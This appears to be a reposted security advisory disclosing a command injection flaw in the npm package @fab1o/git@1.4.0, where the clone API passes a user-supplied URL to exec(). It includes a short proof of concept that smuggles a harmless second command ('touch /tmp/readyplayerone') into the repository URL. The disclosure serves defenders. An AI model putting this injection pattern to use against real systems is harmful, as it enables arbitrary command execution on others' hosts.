← 返回列表

Command Injection vulnerability in `@fab1o/git@1.4.0`

单站 Node.js Security 发布 Sat, 22 Nov 2025 00:00:00 GMT 入库 2026-11-17T04:09:36

\~ 1 min read

Command Injection vulnerability in `@fab1o/git@1.4.0`

A Command Injection vulnerability in the `@fab1o/git` npm package allows attackers to execute arbitrary commands on the host system via unsanitized user input passed to the `exec()` function.

This write-up is a public report of the Command Injection vulnerability in @fab1o/git@1.4.0 which I reported to the maintainer yet received no response.

The @fab1o/git npm library describes itself as a wrapper for command line git with promises.

Resources:

Background on exploitation

I’m reporting a Command Injection vulnerability in @fab1o/git npm package.

This vulnerability manifests with the library’s clone API,
which allows user input to specify the remote URL to clone and then concatenates
this string along with a git command which is then passed to the unsafe exec()
Node.js child process API.

It should be noted that other function methods exposed as user-facing APIs are also vulnerable.

Exploit

  1. Install @fab1o/git@1.4.0 or earlier
  2. Establish the following POC:
const { Git } = require("@fab1o/git");var git = new Git();
git  .clone(    "https://github.com/sayden/git-command-line.git; touch /tmp/readyplayerone"  )  .then(function (res) {    console.log(res);  })  .catch(function (err) {    console.error(err);  });
  1. Observe new file created on disk at /tmp/readyplayerone
原文链接:https://www.nodejs-security.com/blog/command-injection-vulnerability-in-fab1o-git-1-4-0/